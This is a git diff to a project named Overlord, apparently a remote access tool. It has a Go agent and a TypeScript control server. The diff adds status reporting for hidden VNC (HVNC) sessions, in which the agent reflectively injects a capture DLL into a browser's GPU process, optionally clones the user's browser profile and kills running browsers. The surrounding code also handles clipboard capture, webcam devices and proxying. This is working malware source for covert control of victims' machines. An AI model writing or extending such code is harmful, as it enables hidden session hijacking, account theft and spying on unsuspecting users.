diff --git a/Overlord-Client/cmd/agent/capture/hvnc_inject_stub.go b/Overlord-Client/cmd/agent/capture/hvnc_inject_stub.go index 5973b6b..89b820d 100644 --- a/Overlord-Client/cmd/agent/capture/hvnc_inject_stub.go +++ b/Overlord-Client/cmd/agent/capture/hvnc_inject_stub.go @@ -13,7 +13,8 @@ func StartHVNCChromeInjected(chromePath string, dllBytes []byte, captureDllBytes } type CloneProgressFunc func(percent int, copiedBytes, totalBytes int64, status string) +type DXGIStatusFunc func(success bool, gpuPID uint32, message string) -func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, captureDllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, onProgress CloneProgressFunc) error { +func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, captureDllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc) error { return errors.New("HVNC injection not supported on this platform") } diff --git a/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go b/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go index ecb5e15..0134965 100644 --- a/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go +++ b/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go @@ -35,6 +35,9 @@ var ( var advapi32 = syscall.NewLazyDLL("advapi32.dll") type CloneProgressFunc func(percent int, copiedBytes, totalBytes int64, status string) +type DXGIStatusFunc func(success bool, gpuPID uint32, message string) + +var hvncDXGIStatusCallback atomic.Value const ( PROCESS_CREATE_THREAD = 0x0002 @@ -125,7 +128,10 @@ func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes // If clone is true, it clones the real profile so file I/O is redirected to the clone. // If clone is false, it starts the browser with injection but no path redirection. // browser should be one of: "chrome", "brave", "edge". -func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, captureDllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, onProgress CloneProgressFunc) error { +func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, captureDllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc) error { + if onDXGIStatus != nil { + hvncDXGIStatusCallback.Store(onDXGIStatus) + } info, ok := browserInfoMap[strings.ToLower(browser)] if !ok { return fmt.Errorf("unknown browser %q", browser) @@ -194,7 +200,7 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c // StartHVNCChromeInjected is kept for backward compatibility. func StartHVNCChromeInjected(chromePath string, dllBytes []byte, captureDllBytes []byte) error { - return StartHVNCBrowserInjected("chrome", chromePath, dllBytes, captureDllBytes, true, false, true, nil) + return StartHVNCBrowserInjected("chrome", chromePath, dllBytes, captureDllBytes, true, false, true, nil, nil) } type browserInfo struct { @@ -743,6 +749,9 @@ func hvncDeferredGPUInject(browserPID uint32, captureDllBytes []byte) { if err := reflectiveInject(hProcess, captureDllBytes); err != nil { log.Printf("hvnc inject: HVNCCapture DLL injection into GPU PID %d failed: %v", gpuPID, err) procCloseHandle.Call(hProcess) + if fn, ok := hvncDXGIStatusCallback.Load().(DXGIStatusFunc); ok && fn != nil { + fn(false, gpuPID, fmt.Sprintf("DXGI injection failed for GPU PID %d", gpuPID)) + } return } procCloseHandle.Call(hProcess) @@ -750,10 +759,16 @@ func hvncDeferredGPUInject(browserPID uint32, captureDllBytes []byte) { log.Printf("hvnc inject: HVNCCapture DLL injected into GPU PID %d", gpuPID) hvncRegisterInjectedPID(gpuPID) hvncRegisterGPUPID(browserPID, gpuPID) + if fn, ok := hvncDXGIStatusCallback.Load().(DXGIStatusFunc); ok && fn != nil { + fn(true, gpuPID, fmt.Sprintf("DXGI capture active (GPU PID %d)", gpuPID)) + } return } log.Printf("hvnc inject: gave up finding GPU child for browser PID %d", browserPID) + if fn, ok := hvncDXGIStatusCallback.Load().(DXGIStatusFunc); ok && fn != nil { + fn(false, 0, "DXGI injection failed: GPU process not found") + } } func findGPUChildProcess(parentPID uint32) (uint32, error) { diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go index 1094349..9ae431a 100644 --- a/Overlord-Client/cmd/agent/handlers/command.go +++ b/Overlord-Client/cmd/agent/handlers/command.go @@ -1559,7 +1559,15 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in }) } } - if err := capture.StartHVNCBrowserInjected(browser, exePath, dllBytes, captureDllBytes, clone, cloneLite, killIfRunning, onProgress); err != nil { + onDXGIStatus := func(success bool, gpuPID uint32, message string) { + _ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCDXGIStatus{ + Type: "hvnc_dxgi_status", + Success: success, + GPUPid: gpuPID, + Message: message, + }) + } + if err := capture.StartHVNCBrowserInjected(browser, exePath, dllBytes, captureDllBytes, clone, cloneLite, killIfRunning, onProgress, onDXGIStatus); err != nil { log.Printf("hvnc: browser injected failed for %q: %v", browser, err) } }) diff --git a/Overlord-Client/cmd/agent/wire/protocol.go b/Overlord-Client/cmd/agent/wire/protocol.go index 48ccbe8..719788b 100644 --- a/Overlord-Client/cmd/agent/wire/protocol.go +++ b/Overlord-Client/cmd/agent/wire/protocol.go @@ -232,6 +232,13 @@ type HVNCCloneProgress struct { Status string `msgpack:"status"` } +type HVNCDXGIStatus struct { + Type string `msgpack:"type"` + Success bool `msgpack:"success"` + GPUPid uint32 `msgpack:"gpuPid"` + Message string `msgpack:"message"` +} + type HVNCLookupResult struct { Type string `msgpack:"type"` Exe string `msgpack:"exe"` diff --git a/Overlord-Server/public/assets/hvnc.js b/Overlord-Server/public/assets/hvnc.js index 4f6c3df..e91a7af 100644 --- a/Overlord-Server/public/assets/hvnc.js +++ b/Overlord-Server/public/assets/hvnc.js @@ -346,6 +346,38 @@ import { checkFeatureAccess } from "./feature-gate.js"; cloneProgressLabel.textContent = `Cloning ${browser} — ${copiedMB} / ${totalMB} MB`; } + const dxgiStatusEl = document.getElementById("dxgiStatus"); + const dxgiStatusIcon = document.getElementById("dxgiStatusIcon"); + const dxgiStatusLabel = document.getElementById("dxgiStatusLabel"); + let dxgiHideTimer = null; + + function handleDXGIStatus(msg) { + if (!dxgiStatusEl) return; + if (dxgiHideTimer) { + clearTimeout(dxgiHideTimer); + dxgiHideTimer = null; + } + dxgiStatusEl.classList.remove("hidden"); + dxgiStatusEl.classList.add("flex"); + if (msg.success) { + dxgiStatusIcon.className = "fa-solid fa-microchip text-emerald-400"; + dxgiStatusLabel.textContent = msg.message || "DXGI active"; + dxgiStatusLabel.className = "text-emerald-300"; + dxgiHideTimer = setTimeout(() => { + dxgiStatusEl.classList.add("hidden"); + dxgiStatusEl.classList.remove("flex"); + }, 8000); + } else { + dxgiStatusIcon.className = "fa-solid fa-microchip text-rose-400"; + dxgiStatusLabel.textContent = msg.message || "DXGI failed"; + dxgiStatusLabel.className = "text-rose-300"; + dxgiHideTimer = setTimeout(() => { + dxgiStatusEl.classList.add("hidden"); + dxgiStatusEl.classList.remove("flex"); + }, 10000); + } + } + function sendCmd(type, payload) { if (!activeClientId) { console.warn("No active client selected"); @@ -721,6 +753,10 @@ import { checkFeatureAccess } from "./feature-gate.js"; handleLookupResult(msg); return; } + if (msg && msg.type === "hvnc_dxgi_status") { + handleDXGIStatus(msg); + return; + } if (msg && msg.type === "hvnc_error") { console.error("hvnc: server error:", msg.error || msg.message); return; @@ -748,6 +784,10 @@ import { checkFeatureAccess } from "./feature-gate.js"; handleLookupResult(msg); return; } + if (msg && msg.type === "hvnc_dxgi_status") { + handleDXGIStatus(msg); + return; + } if (msg && msg.type === "hvnc_error") { console.error("hvnc: server error:", msg.error || msg.message); return; diff --git a/Overlord-Server/public/hvnc.html b/Overlord-Server/public/hvnc.html index 01747f6..7a4fb46 100644 --- a/Overlord-Server/public/hvnc.html +++ b/Overlord-Server/public/hvnc.html @@ -100,6 +100,13 @@ 0% +
diff --git a/Overlord-Server/src/main-server.ts b/Overlord-Server/src/main-server.ts index 34fe8fe..35ed3ba 100644 --- a/Overlord-Server/src/main-server.ts +++ b/Overlord-Server/src/main-server.ts @@ -87,6 +87,7 @@ import { handleWebcamDevices, handleHVNCCloneProgress, handleHVNCLookupResult, + handleHVNCDXGIStatus, handleClipboardContent, handleRemoteDesktopViewerMessage, handleRemoteDesktopViewerOpen, @@ -605,6 +606,7 @@ async function startServer() { handleWebcamDevices, handleHVNCCloneProgress, handleHVNCLookupResult, + handleHVNCDXGIStatus, handleClipboardContent, cleanupVoiceViewer, stopConsoleOnTarget, diff --git a/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts b/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts index 5df9ea5..9fc85dd 100644 --- a/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts +++ b/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts @@ -82,6 +82,7 @@ type WsLifecycleDeps = { handleWebcamDevices: (clientId: string, payload: any) => void; handleHVNCCloneProgress: (clientId: string, payload: any) => void; handleHVNCLookupResult: (clientId: string, payload: any) => void; + handleHVNCDXGIStatus: (clientId: string, payload: any) => void; handleClipboardContent: (clientId: string, payload: any) => void; cleanupVoiceViewer: (ws: ServerWebSocket) => void; stopConsoleOnTarget: (target: ClientInfo | undefined, sessionId: string) => void; @@ -586,6 +587,9 @@ export async function handleWebSocketMessage( case "hvnc_lookup_result": deps.handleHVNCLookupResult(client.id, payload); break; + case "hvnc_dxgi_status": + deps.handleHVNCDXGIStatus(client.id, payload); + break; case "clipboard_content": deps.handleClipboardContent(client.id, payload); break; diff --git a/Overlord-Server/src/server/ws-console-rd-hvnc.ts b/Overlord-Server/src/server/ws-console-rd-hvnc.ts index c376afc..7f94193 100644 --- a/Overlord-Server/src/server/ws-console-rd-hvnc.ts +++ b/Overlord-Server/src/server/ws-console-rd-hvnc.ts @@ -610,6 +610,17 @@ export function handleHVNCLookupResult(clientId: string, payload: any) { } } +export function handleHVNCDXGIStatus(clientId: string, payload: any) { + for (const session of sessionManager.getHvncSessionsForClient(clientId)) { + safeSendViewer(session.viewer, { + type: "hvnc_dxgi_status", + success: !!payload.success, + gpuPid: Number(payload.gpuPid) || 0, + message: String(payload.message || ""), + }); + } +} + export function handleClipboardContent(clientId: string, payload: any) { const text = String(payload.text || ""); const source = String(payload.source || ""); diff --git a/Overlord-Server/src/wsValidation.ts b/Overlord-Server/src/wsValidation.ts index 710a36d..3e52a6a 100644 --- a/Overlord-Server/src/wsValidation.ts +++ b/Overlord-Server/src/wsValidation.ts @@ -29,6 +29,7 @@ export const ALLOWED_CLIENT_MESSAGE_TYPES = new Set([ "webcam_devices", "hvnc_clone_progress", "hvnc_lookup_result", + "hvnc_dxgi_status", "clipboard_content", "proxy_data", "proxy_close",